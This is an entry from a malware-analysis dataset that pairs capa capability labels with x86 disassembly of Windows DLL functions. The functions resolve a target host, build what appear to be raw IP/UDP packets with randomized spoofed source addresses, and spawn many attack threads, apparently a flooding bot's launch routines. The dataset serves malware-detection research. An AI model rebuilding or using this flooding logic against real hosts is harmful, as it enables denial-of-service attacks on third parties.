joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004b70
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x5c0
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
call esi
mov ebx, eax
and ebx, 0x800001ff
jns 0x10004ba7
dec ebx
or ebx, 0xfffffe00
inc ebx
lea eax, [esp + 0x40]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x19], ecx
mov byte [esp + 0x18], 0
mov dword [esp + 0x1d], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x21], ecx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x25], ecx
mov dword [esp + 0x20], edx
mov word [esp + 0x29], cx
mov dword [esp + 0x24], edx
mov byte [esp + 0x2b], cl
mov al, bl
mov dword [esp + 0x28], edx
mov dl, al
mov dh, dl
mov ecx, pe_nt_image_headers32
mov eax, edx
lea edi, [esp + 0x1d0]
shl eax, 0x10
mov ax, dx
mov dword [0x10016988], 0x41c
rep stosd dword es:[edi], eax
call esi
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call esi
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call esi
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call esi
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
lea edx, [esp + 0x28]
push str._d._d._d._d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ax, word [0x10016988]
mov edi, dword [sym.imp.WS2_32.dll_htons]
add esp, 0x18
mov byte [esp + 0x2c], 0x45
mov byte [esp + 0x2d], 0
push eax
call edi
mov ebx, dword [sym.imp.WS2_32.dll_inet_addr]
push str.192.168.1.2
mov word [esp + 0x32], ax
mov word [esp + 0x34], bp
mov word [esp + 0x36], bp
mov byte [esp + 0x38], 0x80
mov byte [esp + 0x39], 0x11
mov word [esp + 0x3a], bp
call ebx
mov ebp, eax
mov dword [esp + 0x3c], ebp
call esi
cdq
mov ecx, 0xea60
idiv ecx
inc edx
push edx
call edi
mov dx, word [0x100140f8]
mov word [esp + 0x10], ax
push edx
call edi
push 0x408
mov word [esp + 0x16], ax
call edi
mov si, ax
lea eax, [esp + 0x18]
push eax
mov word [esp + 0x18], si
call ebx
mov ebx, dword [esp + 0x10]
mov edx, eax
mov ecx, 0x10f
xor eax, eax
mov edi, 0x10016440
mov word [esp + 0x16], ax
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
mov word [0x1001644a], si
mov dword [0x10016450], ecx
mov ecx, pe_nt_image_headers32
lea esi, [esp + 0x1d0]
mov edi, 0x10016454
mov dword [0x10016440], edx
mov dword [0x10016444], ebp
mov byte [0x10016449], 0x11
mov dword [0x1001644c], ebx
push 0x414
push 0x10016440
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x40], edx
call fcn.10003c80
mov ecx, 5
lea esi, [esp + 0x34]
mov edi, 0x10016440
mov word [esp + 0x1e], ax
mov edx, dword [esp + 0x1c]
add esp, 8
rep movsd dword es:[edi], dword [esi]
mov ecx, pe_nt_image_headers32
lea esi, [esp + 0x1d0]
mov edi, 0x1001645c
mov dword [0x10016454], ebx
mov dword [0x10016458], edx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c0
ret
Function at 0x10004d90
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10004df2
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10004e12
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10004e0d
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
call fcn.10004b70
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10016328], 0
jle 0x10004e76
push 0
push 0
push 0
push 0x10004a50
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10004e4d
mov eax, dword [0x100140fc]
test eax, eax
je 0x10004e90
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10004f60
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10004fc2
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10004fe2
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10004fdd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [0x100140f8], ecx
mov ecx, 0x40
xor eax, eax
mov edi, 0x10016330
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
mov dword [0x100140fc], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10016330
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10005071
push 0
push 0
push 0
push 0x10004ea0
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10005048
mov eax, dword [0x100140fc]
test eax, eax
je 0x1000508b
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10005160
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100051c2
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100051e2
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x100051dd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10005241
push 0
push 0
push 0
push 0x10005090
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10005218
mov eax, dword [0x100140fc]
test eax, eax
je 0x1000525b
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10005350
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100053b2
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100053d2
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x100053cd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x10014104]
mov ecx, dword [esp + 0x14]
cmp eax, 0xffffffff
mov dword [0x100140fc], ecx
je 0x1000544b
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10005431
push 0
push 0
push 0
push 0x10005260
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10005408
mov eax, dword [0x100140fc]
test eax, eax
je 0x1000544b
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10005500
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10005562
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10005582
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x1000557d
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x10014104]
mov ecx, dword [esp + 0x14]
cmp eax, 0xffffffff
mov dword [0x100140fc], ecx
je 0x100055fb
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x100055e1
push 0
push 0
push 0
push 0x10005450
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x100055b8
mov eax, dword [0x10014100]
test eax, eax
je 0x100055fb
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10005690
Capabilities:
Create thread
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov ecx, 0x10016430
push edi
call sub.MFC42.DLL_CString::operator_1
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100056fd
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000571d
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10005718
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [esp + 0x18]
mov ecx, 0x40
xor eax, eax
mov edi, 0x10016330
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
mov dword [0x100140f8], ecx
or ecx, 0xffffffff
mov dword [0x100140fc], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10016330
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x100057ac
push 0
push 0
push 0
push 0x10005600
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10005783
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
pop edi
pop esi
ret
Function at 0x10005a20
Capabilities:
Create thread
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10010960
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
push eax
lea ecx, [esp + 0x20]
call fcn.10010680
push 7
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::Delete
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 8]
push eax
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x10016430
mov byte [esp + 0x18], 1
call fcn.10010650
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
push eax
push 0
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x1c]
mov ecx, 0x1001697c
push edx
call fcn.10010650
mov eax, dword [0x10016430]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10005b26
mov ecx, dword [0x10016430]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10005b4c
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
lea edi, [esp + 8]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10005b47
mov edi, dword [0x10016430]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10005bab
push 0
push 0
push 0
push 0x100057c0
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10005b82
mov eax, dword [0x100140fc]
test eax, eax
je 0x10005bc5
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x10005e70
Capabilities:
Create thread
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10010a10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
push eax
lea ecx, [esp + 0x20]
call fcn.10010680
push 7
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::Delete
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 8]
push eax
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x10016430
mov byte [esp + 0x18], 1
call fcn.10010650
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
push eax
push 0
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x1c]
mov ecx, 0x1001697c
push edx
call fcn.10010650
mov eax, dword [0x10016430]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10005f76
mov ecx, dword [0x10016430]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10005f9c
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
lea edi, [esp + 8]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10005f97
mov edi, dword [0x10016430]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x10005ffb
push 0
push 0
push 0
push 0x10005bf0
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10005fd2
mov eax, dword [0x100140fc]
test eax, eax
je 0x10006015
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x10006220
Capabilities:
Create thread
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10010aa0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
push eax
lea ecx, [esp + 0x20]
call fcn.10010680
push 7
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::Delete
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 8]
push eax
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x10016430
mov byte [esp + 0x18], 1
call fcn.10010650
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
push eax
push 0
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x1c]
mov ecx, 0x1001697c
push edx
call fcn.10010650
mov eax, dword [0x10016430]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10006326
mov ecx, dword [0x10016430]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000634c
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
lea edi, [esp + 8]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x10006347
mov edi, dword [0x10016430]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x100063ab
push 0
push 0
push 0
push 0x10006040
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10006382
mov eax, dword [0x100140fc]
test eax, eax
je 0x100063c5
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x100065a0
Capabilities:
Create thread
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10010b20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
push eax
lea ecx, [esp + 0x20]
call fcn.10010680
push 7
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::Delete
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 8]
push eax
push ecx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x10016430
mov byte [esp + 0x18], 1
call fcn.10010650
lea ecx, [esp + 8]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
push 0x100142f0
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::Find
push eax
push 0
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x1c]
mov ecx, 0x1001697c
push edx
call fcn.10010650
mov eax, dword [0x10016430]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100066a6
mov ecx, dword [0x10016430]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100066cc
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, ecx
lea edi, [esp + 8]
mov esi, dword [edx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x100066c7
mov edi, dword [0x10016430]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test esi, esi
mov dword [0x100140f8], ecx
mov dword [0x100140fc], edx
mov dword [0x10014104], 0xffffffff
mov dword [0x10016328], 0
jle 0x1000672b
push 0
push 0
push 0
push 0x100063f0
push 0
push 0
call edi
mov ecx, dword [0x10016328]
mov dword [ecx*4 + 0x10015f18], eax
inc ecx
cmp ecx, esi
mov dword [0x10016328], ecx
jl 0x10006702
mov eax, dword [0x100140fc]
test eax, eax
je 0x10006745
push 0
push 0
push 0
push 0x100040c0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret